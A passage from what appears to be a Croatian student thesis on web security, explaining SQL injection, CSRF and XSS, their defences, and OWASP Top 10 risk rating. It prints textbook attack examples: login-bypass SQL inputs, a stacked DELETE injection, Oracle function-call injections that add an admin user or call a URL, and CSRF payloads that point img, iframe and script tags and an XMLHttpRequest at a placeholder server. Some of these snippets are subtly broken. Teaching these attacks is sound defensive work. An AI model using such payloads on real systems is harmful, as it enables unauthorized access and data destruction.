korisnika i preko njihovih korisničkih podatka narušili sigurnost baze podatka.27
Brisanjem nepotrebnih tablica ili korisničkih podataka koji se ne koriste, smanjujemo
razinu rizika i potencijalne prijetnje koje mogu nastati zlouporabom podataka koji se
ne koriste.28 Provjera kontrole pristupa se odnosi na provjeru dodjeljenih ovlasti.
Pojedinim korisnicima se daju ovlasti za korištenje određenih sustava i korištenje
određene funkcionalnosti, a da bi to bilo sigurno za sustav, i sami korisnici moraju
čuvati svoje korisničke podatke kako netko drugi ne bi došao do njihovih ovlasti u
sustavu. O provjeri ulaznih podataka i procjeni razine rizika smo već govorili, pa se
ovdje nećemo zadržavati.29
26
Skrivanje strukture baze podataka od korisnika ili osoba kojima to nije potrebno – Sigurnost
računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11,
490. stranica
27
Korištenje složenih lozinki, posebno bitno u slučaju kada je sustav izložen brojnim napadima –
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 490. stranica
28
Dodatnaa mjera zaštite. Stari podaci mogu biti zloupotrijebljeni - Sigurnost računarskih sistema i
mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 490. stranica
29
Ovaj dio se odnosi na nekoliko mjera zaštite, od kontrole pristupa, provjere ulaznih podataka i
procjene mogućnosti napada sustava što kao posljedicu ima definiranje određenih mjera za smanjenje
rizika i sprječavanje rizičnih situacija – Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček,
B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 490-491. stranica
16
3.2. Napad SQLi propustom
Postoje četiri najčešća tipa napada SQLi propustom. To su modifikacija SQL upita,
umetanje koda, umetanje funkcijskih poziva i prekoračenje buffera. Modifikacija SQL
upita znači iskorištavanje operacije UNION i promjena uvjeta iza klauzule WHERE s
ciljem dobivanja podataka o nekom identitetu. U drugom slučaju imamo mogućnost
izmjene postavljenog upita, kada se dodavanjem koda u formu, pokušava izvršiti
dodatni kod koji je korisnik upisao. Na sličan način funkcionira umetanje funkcijskih
poziva koji se koriste kod sustava koji rade nad ORACLE bazom podataka. Posljednji
tip napada je vezan za buffer. Koristi se kod DBMS-a. Kako bi bilo jasno o čemu smo
govorili, u nastavku su dani primjeri napada.30
Modifikacija SQL upita
Ovakav napad je moguć kod dinamičkih SQL upita gdje se koristi ključna riječ
UNION ili WHERE. Ako od korisnika tražimo unos podataka, onda on može to
iskoristiti i dodati svoj kod i na taj način modificirati postojeći. Kao primjer navodimo
slučaj gdje se korisnik prijavljuje u sustav. Tada sustav mora provjeriti da li upisani
podaci odgovaraju podacima iz baze podataka. Da bi se taj dio realizirao, potrebno je
koristiti ključnu riječ WHERE, pomoću koje provjeravamo da li neki zapis u polju
odgovara nekom zapisu u bazi podataka.31
SELECT * FROM korisnici
WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika'
Na ovaj upit korisnik može dodati kod i promjeniti upit na način da dobije podatke
koje želi ili čak da dobije sve podatke iz baze podataka. Iza postojećeg upita će
izvršiti i dodani kod ako korisnik u zadnje polje unese sljedeći kod:
'OR 'a'='a';32
Na ovaj način dobivamo upit koji izgleda ovako:
SELECT * FROM korisnici
30
SQLi napad i tipovi SQLi napada - Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček,
B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 492. stranica
31
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 492. stranica
32
Primjeri SQLi napada – http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC2004-10-93.pdf
17
WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika' 'OR 'a'='a';
Interpretacija upita:33
Prikaži sve podatke iz tablice korisnici u bazi podataka gdje je korisnicko_ime ono
ime koje korisnik upiše i gdje je lozinka ista onoj koju korisnik unese ili vrijedi da je
'a'='a'. Ovaj posljednji dio je uvijek istinit pa ćemo se moći prijaviti u sustav bez
obzira da li je korisničko ime valjano. Da bismo spriječili ovakve napade, potrebno je
implementirati određene kontrole unosa podataka, te provjeravati da li korisnici unose
znakove koji su ključni za izvršavanje SQL upita. Znamo da se u upitima koriste
znakovi kao što su ; ili ' pa te znakove treba isključiti iz unosa. Kod pokušaja unosa
zapisa sa tim znakovima, potrebno je u aplikaciji onemogućiti izvršavanje koda, dok
se ne zadovolji uvjet koji smo definirali za unos podataka.
Isti slučaj imamo ako se želimo prijaviti u sustav. Ako se provjerava identitek
korisnika uz pomoć korisničkog imena i lozinke, možemo pretpostaviti da upit izgleda
ovako:
String SQLQuery = “SELECT Username FROM Users WHERE Username = ‘” +
username + “’ AND Password = ‘” + password + “’”;
Ovim upitom od korisnika zahtjevamo unos dva podatka, korisničko ime i lozinku.
Varijable username i pasword zahtjevaju unos podataka od strane korisnika i na
osnovu toga se prijavljujemo u sustav. Ako su podaci istiniti, možemo se prijaviti.
Zaključujemo da možemo modificirati upita tako da uvijek daje istinu i uvijek ćemo
se moći prijaviti bez obzira na unešene podatke. Takav upit bi mogao izgledati ovako:
SELECT Username FROM Users WHERE Username = '' OR''=''
AND Password = '' OR ''=''34
Ovim se postiže da kao rezultat dobijem uvijek istinu i omogućeno nam je
prijavljivanje u sustav. Kao korisničko ime i lozinku smo upisali OR '' = '', što znači
da će prazan string uvijek biti prazan string i uvijek ćemo se moći prijaviti u sustav.
33
Primjer napravljen prema primjeru iz knjige - Sigurnost računarskih sistema i mreža; D.Pleskonjić,
N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 492. stranica
34
Primjeri SQLi napada – http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-200410-93.pdf
18
Ubacivanje koda
Ovaj napad predstavlja veliki problem za sigurnost aplikacija i podataka, jer
omogućuje izvršavanje više naredbi odjednom. Najčešće se koristi tako da se iza
završetka jedne naredbe upiše kod za novu i nakon toga izvrši. Time se može narušiti
stabilnost aplikacije, može se narušiti integritet podataka, dostupnost, odnosno
raspoloživost podataka. Napadač može nakon unosa podataka, odnosno izvršenja
upita koji mu je ponuđen, dodati novi i primjerice izbrisati podatke ili dio podataka iz
tablice. Sada se postavlja pitanje kako će znati što treba brisati. Odgovor na ovo
pitanje smo dali u prethodnom poglavlju. Kod napada modifikacijom upita, možemo
doći do podataka o drugim korisnicima. Nakon toga, te iste podatke možemo
iskoristiti da bismo brisali sve zapise ili dio zapisa koji se odnose na podatke koje smo
dobili prethodno opisanim napadom.35
SELECT * FROM korisnici
WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika';
DELETE * FROM korisnici
WHERE korisnicko_ime = admin;
Interpretacija upita:36
SELECT * FROM korisnici
WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika';
To je dio upita koji je implementiran u aplikaciji. Ako pretpostavimo ili znamo da je u
bazi upisan korisnik sa korisničim imenom admin, tada možemo nakon zadnjeg
upisanog podatka, dodati kod koji će brisati podatke za korisnika čije korisničko ime
znamo.
DELETE * FROM korisnici
WHERE korisnicko_ime = admin;
Ovaj drugi dio upita je dodan na pravi upit, i on će brisati podatke o korisniku kojeg
pokušavamo napasti. Ovaj napad nije moguć ako se radi o sustavu koji onemogućuje
da se zaredom izvrše dva upita.
35
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 493. stranica
36
Primjer napravljen prema primjeru u knjizi – Sigurnost računarskih sistema i mreža; D.Pleskonjić,
N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 493. stranica
19
Umetanje poziva funkcije
U SQL-u postoje ugrađene funkcije. One vrlo često mogu biti mjesto napada i
predstavljati veliku ranjivost sustavu. Mogu se iskoristiti za izmjenu podataka u bazi
podataka, a smatraju se osnovom izvođenja SQLi napada.
Dan je primjer upita koji nije osjetljiv na napade, ali postoji mogućnost da korisnik
modificira upita na način da doda poziv funkcije koja će omogućiti napad na sustav.37
SELECT TRANSLATE ('user input',
'0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789')
FROM dual;
Nakon što napadač doda funkciju kako je prikazano u kodu ispod, napaču su dane
mogućnosti da koristi odabrane znakove i upravlja nizom znakova i URL adresom.
SELECT TRANSLATE ('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || ' ' ),
'0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789')
FROM dual;
U posljednjem slučaju imamo situaciju kada napadač može dodavati nove korisnike i
kad nema prava pristupa sustavu. Pozivom odgovarajućih funkcija, može upravljati
dodavanjem korisnika i upisati sebe kao novog korisnika sustava. Nakon toga može
pristupiti sustavu sa odabranim korisničkim podacima.
SELECT TRANSLATE ('' || user_package.add_user('admin', 'new_pass') || ' ' ),
'0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789')
FROM dual;
Prekoračenje buffera
Ovaj napad podrazumjeva da smo prethodno izvršili napad umetanjem funkcije. Taj
napad treba biti uspješno izvršen. Budući da u gotovo svakom DBMS-u postoje
uskladištene procedure i funkcije kojima se mogu izazvati prekoračenja buffera,
napadač to može iskoristiti i prepuniti buffer podacima kako bi nakon toga mogao
37
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 494. stranica
20
izvršiti vlastiti kod. Jedna od vrlo štetnih radnji koje napadač može biti isključivanje
servera baze podataka. Može doći do rušenja sustava, a u tom slučaju napadač iz
poruka koje mu se prikazuju može saznati puno o bazi podataka i serveru na kojem se
nalazi baza podataka.38
38
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 495-496. stranica
21
3.3. Što je to XSS/CRLF
CRSF (eng. Cross-Site Request Forgery) napadom korisnik želi nesvjesno izvršiti
određene radnje na web aplikacijama. Ovim napadom se iskorištava korisnikov
cookie zapis, a da korisnik nije toga svjestan, a izvodi se posredovanjem klijentskog
programa. Na ovaj način se mogu iskoristiti JavaScript forme, koje se mogu sakriti u
posebnom i-frameu. Način na koji ovo funkcionira možemo vidjeti tek kada učitamo
stranicu u nesigurnom web pregledniku. Takva stranica mora sadržavati kod koji će
omogućiti pokretanje takvog zahtjeva. Ako na stranici nema nikakve kontrole i
provjere sigurnosti i identiteta korisnika, zahtjev koji je poslan takvoj stranici se
izvodi kao da ga je poslao klijent.
Spomenuli smo nesigurne preglednike, pa je važno objasniti kakvi se preglednici
smatraju nesigurnima. To su oni preglednici koji ne zadovoljavaju principe sigurnog
oblikovanja i ne provjerava autentičnost primljenih HTTP zahtjeva. CSRF napad
nastoji iskoristiti vezu, odnosno povjerenje ostvareno između korisnika i stranice na
webu. Napadač ovom metodoom sebe predstavlja kao nekog drugog pošiljatelja.
Tipični zahtjevi koji se mogu iskoristiti u ovom napadu su GET i POST. GET metoda
služi za dohvat podataka, a prenosi se putem URL zahtjeva. To znači da je svaki
korisnik interneta može „uhvatiti“ nekim alatima koji skeniraju promet po internetu.
U drugom slučaju imamo POST metodu koja sadržaj šalje kroz poruku. Na taj način
smo je bolje zaštitili od trećih strana. GET metoda je puno bolja ako želimo iskoristiti
ranjivost sustava i napasti web aplikaciju. Sadržaj te metode se rijetko provjerava
upravo iz činjenice da služi samo za dohvaćanje podataka. Na ovaj način napadač
može omogućiti izmjenu sadržaja, pa se korištenje ove metode preporuča samo onda
kada je izmjena sadržaja GET metode onemogućena.
Preduvjeti koji moraju postojati da bi se mogao izvesti CSRF napad su sljedeći:
1. Stranica koja se napada ne provjerava izvor poruke, odnosno HTTP Referer
zaglavlje
2. Web preglednik korisnika omogućuje lažiranje tog zaglavlja,
22
3. Koristi se takav HTTP zahtjev koji izvodi promjene na napadnutoj stranici ili
korisničkom računu (npr. mijenja lozinku),
4. Napadač ima pristup autentikacijskim kolačićima i sigurnosnim značkama
preko kojih pristupa ranjivoj stranici i
5. Napadač je u mogućnosti navesti žrtvu na otvaranje zloćudne web
poveznice.39
Slika 3.1. Shema CSRF napada40
CSRF napadi mogu se izvoditi na različite načine. Danas postoji nekoliko metoda a
spomenut ćemo one najznačajnije metode. To su:
1. pomoću zlonamjerno oblikovanih HTML objekata,
2. pomoću skriptnog koda umetnutog u HTML (JavaScript, PHP, JScript…) i
3. zlouporabom automatskog generiranja zahtjeva u web pregledniku
(XMLHttpRequest).41
39
Preduvjeti za izvođenjeCRSF-a, prema dimplomskom radu
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
40
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
41
Preduvjeti za izvođenjeCRSF-a, prema dimplomskom radu
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
23
1. Napadi HTML objektima
CSRF napad je moguće izvesti na nekoliko načina. Ako detaljnije proučimo napad
pomoću HTTP GET metode, vidjet ćemo da samo tu postoje brojni načini. Ta metoda
služi za dohvat podataka. Iskorištava HTML objekte. Kao primjer ćemo navesti img
element pomoću kojeg oblikujemo sadržaj na web.42
<img src="slika.gif" alt="Slika" title="Slika" />
Ovaj element ima nekoliko ključnih atributa. Jedan od njih je src atribut u kojeg je
pohranjen izvor, odnosno putanja datoteke koja se koristi za oblikovanje sadržaja.
Nakon što pokušamo učitati neku stranicu koja sadrži taj objekt, moramo njemu
pristupiti. Metodom umetanja koda možemo zamjeniti taj objekt nekim drugim i na
taj način omogućimo izvršavanje podmetnutog koda. Ostali atributi nisu bitni jer ne
mogu biti iskorišteni na način da naruše stabilnost i funkcionalnost sustava.
<img src="http://posluzitelj/stetna_naredba"/>
U ovom primjeru http://posluzitelj/stetna_naredba je adresa gdje se nalazi spremeljen
neki drugi dokument, koji će omogućiti neku drugu akciju. Ona može biti štetna za
sustav jer može sadržavati destruktivne naredbe. Na isti način se iskorištavaju
propusti kod ostalih elemenata kao što su SCRIPT ili spomenuti IFRAME.
<iframe src="http://posluzitelj/stetna_naredba"/>
<script src="http://posluzitelj/stetna_naredba"/>
42
Napadi HTML objektima – http://www.cert.hr/filehandler.php?did=412
24
2. Napadi skriptnim kodom
U ovom slučaju se radi o izvršavanju JavaScript koda koji također može iskoristiti
nedostatke objekta Image. U nastavku je prikazan primjer koda koji iskorištava taj
propust.
<script>
var slika = new Image();
slika = http://posluzitelj/stetna_nadredba;
<script>
ili pomoću objekta ActiveXObject u Microsoftovom JScript skriptnom jeziku
<script>
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST", 'http://posluzitelj/stetni_kod', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{ alert(xmlhttp.responseText); }
};
xmlhttp.send(null);
</script>43
Za ovaj problem postoji način da ga barem spriječimo prije nego mu sami dopustimo
izvršavanje. Danas internet preglednici omogućavaju da korisnik sam odluči da li želi
da mu se JS kod izvršava odmah kada se stranica učita, odnosno automatski ili to želi
ručno pokretati. U drugom slučaju može u nekim situacijama pretpostaviti ili
prepoznati da se radi o opasnom kodu i može onemogućiti njegovo izvršavanje. To je
jedna od mogućnosti novijih preglednika, budući da se izvršavanje ovakvog koda
pokazalo prilično opasno za sigurnos web aplikacija, ali i sustava koji funkcioniraju
na način da internet koriste u potpunosti ili djelomično za svoje poslovanje.44
43
44
Kod preuzet sa interneta – http://www.cert.hr/filehandler.php?did=412
Napadi skriptnim kodom – http://www.cert.hr/filehandler.php?did=412
25
3. XMLHttpRequest
XMLHttpRequest objekti središnji su objekti AJAX programa. AJAX je skupina
tehnologija koja omogućuje slanje i obradu HTML zahtjeva. Ako detalnije upoznamo
tu tehnologiju, vidjet ćemo da ima dosta prednosti u odnosu na druge tehnologije.
Jedna od njih je mogućnost da korisnici ne moraju stalno učitavati stranice kada neki
element žele učitavati. HTTP zahtjeva se šalje i to se odvija predavanjem web
formulara ili otvaranjem web poveznice. XMLHttpRequest objekti se koriste kako bi
se HTTP zahtjevi generirali automatski u web pregledniku. Taj postupak se događa u
pozadini, tako da korisnik nije toga svjestan i to mu olakšava rad.
Primjer uporabe ove funkcije u Internet Exploreru dan je u programskom kodu koji
lijedi
<script>
xmlhttp=new XMLHttpRequest() ;
xmlhttp.open(“GET”, “http://urlAdresa”,true);
xmlhttp.onreadystatechange = ispisiOdgovor();
xmlhttp.send(null);
function ispisiOdgovor(xmlhttp,element_id)
{ var element = document.getElementById(element_id);
if (xmlhttp.readyState == 4)
{ var tekst = http.responseText;
dokument.write.tekst; }
}
</script>
Ovim kodom smo prikazali jednu od čestih funkcija. To je funkcija open i slanje
odgovora koji se postiže funkcijom send. Glavna funckija je ispisOdgovor i onda se
poziva kod svake promjene prikazanog svojstva.
26
3.4. Napad iskorištavanjem XSS/CRLF-a
XSS napad je vezan za izvršavanje CSRF napada. Za ovu metodu napada možemo
reći da daje napadaču dodatne mogućnosti kada je u pitanju CSRF napad. XSS je na
neki način posrednik, a ograničen je onim kodom koji je ubačen u ranjivu aplikaciju
na webu. Napadaču daje mogućnost da napada računalo žrtve samo onda dok žrtva
ima otvoren preglednik. Tada je napadač povezan sa udaljenom lokacijom i može
preusmjeriti korisnika na neke druge lokacije te tamo iskorisiti ranjivosti za neke
druge metode napada. Neke mogućnosti ovakvog napada su:
1. Napadač može pročitati HTML kod iz drugog internet preglednika
2. Može postaviti određeni sadržaj ili brisati postojeću u drugom prozoru. Ovo
se najčešće koristi kada napad želi mijenjati ili uništiti podatke koje korisnik
unosi u neke formulare.
3. Isto tako je napadaču omogućeno kreiranje varijabli i pozivanje funkcija
4. Posljednje se odnosi na stvaranje novih sadržaja pomoću metode
document.write.45
Slika 3.2. Curenje informacija kod XSS napada46
45
Napad iskorištavanjem propusta XSS/CRLF-a –
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
46
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
27
Za XSS je bitno napomenuti da se ovdje radi o dvosmjernoj komunikaciji. Žrtva na
ekrano dobiva otvorenu stranicu u kojoj je skriven zloćudni kod. Pretpostavimo da se
za napad koristila metoda pomoću slike ili javascript koda. Tada je napadaču
omogućeno da na računalu žrtve otvori novu stranicu sa takvim kodom. Na slici dolje
je prikazana komunikacija između napadača i zaražene web aplikacije sa žrtvinim
preglednikom.
Slika 3.3. Dvosmjerna komunikacija XSS posrednikom47
Ovakva metoda ne može sakriti napadača od korisnika, pa su razvijene napredne
metode XSS napada. One omogućuju napadaču da sakrije sve svoje podatke i
anonimno napadne žrtvu. Za to mu je potrebna lokacija za sakrivanje. Slika ispod
prikazuje kako to funkcionira.48
47
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
Opis prikazane slike –
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
48
28
Slika 3.4. Scenarij naprednog XSS posrednika49
Napad prikazuje sljedeću situaciju. Napadač ima računalo na kojem se nalazi
aplikacija kojojm će napasti žrtvu. Ta aplikacija omogućujue čitanje i pisanje po
stranicama aplikacije. IFRAME3 okvir je onaj okvir kojeg se koristi za učitavanje
druge aplikacije koja je ranjiva i nad kojom se može izvesti XSS napad. IFRAME2
okvir služi kao komunikacijski kanal. Napadač ima mogućnost čitati i pisati po
IFRAME1 okviru. Nakon ovog koraka nova će se aplikacija učitati u IFRAME2
okvir. Rekli smo da je to komunikacijski okvir. U njemu se otvara novi IFRAME4
okvir koji učitava dokumente sa nove aplikacije. Nakon učitavanja URL-a, prva
aplikacija će primiti naredbe od napadača i sad zna kako i kada napasti korisnika.
Napada ga preko IFRAME2 okvira koji se dodaje u naredbi u URL. Nakon ovog
koraka druga aplikacija ima kontrolu IFRAME2 okvir, te može dohvatiti napadačeve
naredbe. Rezultat naredbe se dodaje u URL adresi. Jedna zanimljiva činjenica ovog
49
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
29
napada je da je IP adresa i lokacija napadača potpuno nepoznata drugoj aplikaciji, te
korisnik nikako ne može saznati tko ga je napao. Naravno, ne možemo nikada biti
sigurno da se to neće otkriti, ali u tom trenutku korisnik nije svjestan da napadač nešto
radi. To je postignuto tako što je jedna od aplikacija kao posrednik.50
50
Interpretacija slike prema tekstu diplomskog rada–
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
30
3.5. Zaštita od XSS/CRLF-a
Kao i u svakom drugom slučaju, kada je u pitanju sigurnost informacijskih sustava,
tako i kod web aplikacija, najbitnije je odrediti neke mjere ili smjernice za poboljšanje
razine sigurnosti i definirati što poduzeti u određenim situacijama. Osim definiranja
mjera, možemo provjeravati kod. Prije izvršavanja ili tijekom izvršavanja se kod
može pregledati. Svakako je dobro provjeriti kod prije nego se izvrši na računalu.
Ponekad ne moramo dobro poznavati područje da bismo učili probleme. Već na
temelju nekoliko informacija o napadima ili posljedica koje rade takvi napadi,
možemo uočiti ako je naše računalo zaraženo. Vrlo bitno je i redovito ispitivanje
programa i njihovog rada. To se može postići različitim testiranjima i provjerama od
strane stručnjaka.
Danas postoje brojne organizacije koje se bave sigurnošću aplikacija i informacijskih
sustava, a svakako jedna od najpoznatijih je OWASP. To je neprofitna organizacija
koja se bavi problemima vezanim za sustave na webu i ranjivosti takvih sustava. Na
internetu objavljuju brojne programe i dokumentaciju koja nastoji zaštititi web
aplikacije i cijele sustave koji rade na webu, otkrivaju ranjivosti i održavaju sustave
sigurnima. Isto tako i na ovom područuju definiraju niz mjera i smjernica kako nešto
spriječiti i što učiniti u incidentnim situacijama. U nastavku ćemo nešto više reći o
OWASP-u.
Zaštita s korisničke strane
O ovom načinu zaštite možemo govoriti samo ako su korisnici svjesni svoje
odgovornosti i ako znaju da i oni moraju sudjelovati u mjerama zaštite sustava. Pri
tome se misli da moraju razmisliti o tome kakve mailove otvaraju. Neodgovornim
ponašanjem mogu učiniti sustav nesigurnim. Neki od koraka koje oni mogu učiniti je
brisanje povijesti u internet pregledniku, provjera i kontrola autentikacijskih oznaka,
redovite nadogradnje internet preglednika. Sve su to mali koraci koji znatno mogu
utjecati na sigurnost sustava i računala na kojem radimo. Još jedna od mjera je
isključivanje opcije automatskog izvršavanja Javascript koda ili učitavanja slika sa
vanjskih odredišta. Na kraju možemo još napomenuti da ove mjere na mogu u
31
potpunosti eliminirati prijetnje i ranjivosti, ali mogu utjecati na veću razinu sigurnosti
sustava.
Zaštita poslužitelja web aplikacije
Neke od najčešće primjenjivanih mjera zaštite na strani poslužitelja su:
1. Ponovno zatražiti prijavu korisnika prilikom svakog kritičnog GET i POST
zahtjeva
2. Ograničiti vrijeme valjanosti autentikacijskih kolačića
3. Provjera izvor poruke (HTTP Referer zaglavlje)
4. Uvođenje dodatne tajne sigurnosne značke koja se pridružuje identifikacijskim
oznakama
5. Sjednice i zahtjeva,
6. Korištenje novih znački u svakoj novoj predaji obrasca čak i unutar iste
sjednice,
7. Odbijanje zastarjelih znački i
8. Izbjegavanje prikazivanja sjedničkih atributa u URL poveznici. Preporuča se
njihovo slanje u skrivenim poljima web obrazaca.51
51
http://os2.zemris.fer.hr/ns/websec/2009_tomic/otkrivanje_ranjivosti.html
32
4. OWASP projekti
4.1.OWASP Top 10
OWASP Top 10 je lista deset najkritičnijih sigurnosnih rizika web aplikacija prema
mišljenju OWASP zajednice. Finalna inačica trenutno aktualne verzije, „OWASP Top
10 for 2010“, objavljena je 19.04.2010.
Prema autorima Top 10 projekta, njihov cilj je podići svijest o nesigurnosti aplikacija
kroz identifikaciju nekih od najkritičnijih rizika s kojima se susreću organizacije. Top
10 projekt referenciran je u mnogim standardima, knjigama, alatima i organizacijama,
čiji popis se može naći na stranicama projekta52. Prvo izdanje OWASP Top 10 bilo je
u 2003. godini, manje izmjene napravljene su u 2004. i 2007. godini dok je zadnja
verzija izrađena u 2010. godini.
Top 10 projekt trebao bi organizacijama poslužiti kao startna točka u podizanju
sigurnosti aplikacija. Programeri bi se kroz njega trebali upoznati sa najvećim
rizicima i pogreškama drugih aplikacija, no to nije projekt koji bi osigurao apsolutnu
sigurnost aplikacija. Zbog toga organizacije trebaju kontinuirano ulagati u sigurnost,
obuku zaposlenika, alate i ostale procese vezane za sigurnost aplikacija.
Za svaki rizik koji se navodi u Top 10 listi naveden je detaljan opis. To između
ostalog uključuje i nekoliko konkretnih osobina koje su rangirane, kao što su: težina
samog napada iz napadačeve perspektive (Attack Vector), učestalost propusta
(Weakness Prevalence), zatim koliko je teško detektirati propust (Weakness
Detectability), te utjecaj ukoliko se uspješno izvrši napad (Technical Impact). Za
svaku od ovih osobina imamo tri razine utjecaja, što je prikazano u tabeli 1.
52
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#Users_and_Adopters
33
Tablica 4.1: Izvor: OWASP Top 10 - 2010 Document53
Težina napada
Lak
Srednje težak
Težak
Attack Vector
Easy
Average
Difficult
Učestalost
propusta
Rasprostranjen
Uobičajen
Neuobičajen
Detekcija
propusta
Laka
Srednje teška
Teška
Weakness
Prevalence
Widespread
Common
Uncommon
Weakness
Detectability
Easy
Average
Difficult
Tehnički utjecaj
Ozbiljan
Umjeren
Malen
Technical Impact
Severe
Moderate
Minor
U tablici za svaki rizik navedeno je i tko je mogući napadač, kao i utjecaj na sam
posao organizacije. Uz to, za svaki sigurnosni propust u listi dostupan je i „vodič“
kako provjeriti da li neka aplikacija ima problema u tome području, kako izbjeći takav
problem, standardni primjer takvih propusta te reference koje upućuju čitatelja na
daljnje izvore koji govore o spomenutom problemu.
53
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf
34
4.1.1. Način utvrđivanja rizika
OWASP grupa kod Top 10 liste eksplicitno navodi da to nije lista najčešćih propusta
u aplikacijama, nego lista propusta sa najvećim rizikom. Slijedi kratak opis kako oni
utvrđuju razinu rizika za pojedini potencijalni propust u aplikacijama.
Kao „standardni“ model rizika navodi se sljedeće:
Rizik = Vjerojatnost * Utjecaj
Koraci koji se izvršavaju kako bi se utvrdio cjelokupna ozbiljnost rizika su sljedeći:
1. Identificiranje rizika
• Trebaju se prikupiti informacije o napadaču, koje napade oni koriste, ranjivost
koja je uključena i utjecaj uspješnog napada na posao. Moguće su grupe
napadača ili čak višestruki utjecaji na posao. Općenito gledano, najbolje je
biti oprezan i proučiti najgori scenarij koji se može desiti kod uspješnog
napada.
2. Faktori za procjenu vjerojatnosti
• Kada se identificira potencijalni rizik treba odrediti vjerojatnost njegovog
nastupanja. Za to se koriste sljedeći faktori:
a) Faktori vezani za napadača: Koliko je tehnički vješt napadač, koliko je
motiviran naći i iskoristiti sigurnosne propuste, koji resursi i prilike su
potrebni kako bi napadač našao i iskoristio slabosti te koliko je velika
grupa napadača.
b) Faktori ranjivosti: Koliko je lako napadaču otkriti ranjivost, koliko je
teško napadaču zapravo iskoristiti ranjivost, koliko je ranjivost poznata
napadaču te koliko je vjerojatno da će napad biti otkriven.
3. Faktori za procjenu utjecaja
• Kada se određuje utjecaj uspješnog napada, treba promotriti „tehnički utjecaj“
na aplikaciju, podatke koje ona koristi i funkcije koje pruža, kao i „poslovni
utjecaj“ na posao i organizaciju koja koristi aplikaciju. Na kraju, poslovni
utjecaj je važniji. No ponekad je njega teško procijeniti, a u tome slučaju
treba čim detaljnije opisati tehničke rizike kako bi se utvrdio utjecaj na
posao.
35
• Faktori koji se trebaju promotriti su sljedeći:
a) Tehnički faktori: Koliko podataka može biti razotkriveno i koliko su
oni važni, koliko podataka se može oštetiti i do koje mjere, koliko
usluga može biti izgubljeno i koliko su one važne te da li se akcije
napadača mogu povezati sa nekom osobom?
b) Poslovni faktori: Koliko financijske štete će prouzročiti iskorištenje
slabosti aplikacije, da li bi iskorištenje takve slabosti oštetilo ugled te
tako naštetiti organizaciji, kolika je izloženost zbog neslaganja te
koliko osobnih informacija može biti razotkriveno?
4. Utvrđivanje jačine rizika
• U ovom koraku koriste se prethodno utvrđeni faktori za procjenu rizika i
utjecaja kako bi se utvrdila sveukupna jačina rizika. Za vjerojatnost i utjecaj
utvrđuje se da li su niski, srednji ili visoki.
• Nakon toga pomoću sljedeće tablice utvrđuje se jačina rizika
Tablica 4.2. Jačina rizika
Ukupna jačina rizika
VISOK
Srednja
Visoka
Kritično
SREDNJI
Niska
Srednja
Visoka
NIZAK
Zabilješka
Niska
Srednja
NISKA
SREDNJA
VISOKA
Utjecaj
Vjerojatnost
5. Utvrđivanje što treba popraviti
• Nakon klasifikacije rizika aplikacije, treba napraviti prioritetnu listu onoga što
treba popraviti. Kao generalno pravilo, prvo se popravljaju kritičniji rizici.
Nema prevelike koristi od popravljanja manje važnih rizika, čak ako su
jednostavni za popraviti ili jeftini, ako vrlo važni rizici ostaju nerazriješeni.
• Neke rizike se čak ne isplati popravljati. Ako je cijena popravka rizika
100.000 kn, a šteta nastala njegovim iskorištavanjem 1000 kn po godini,
trebalo bi 100 godina da se povrati investicija u popravljanje rizika
36
aplikacije. Naravno uvijek treba imati na umu da se uzmu svi mogući
troškovi iskorištavanja nekog propusta, jer indirektni troškovi kao
smanjivanje ugleda organizacije mogu imati dugoročne i velike posljedice.
6. Prilagođavanje modela za utvrđivanje rizika
• Pošto je svaka organizacija drugačija, one se ohrabruju da prilagode ovaj
model za utvrđivanje rizika svojim potrebama dodavanjem potrebnih novih
faktora, prilagođavanjem opcija i vaganjem pojedinih faktora.
37
4.1.2. OWASP Top 10 Application Security Risks – 2010
Slijedi popis 10 najvećih sigurnosnih rizika prema OWASP Top 10 projektu, a u
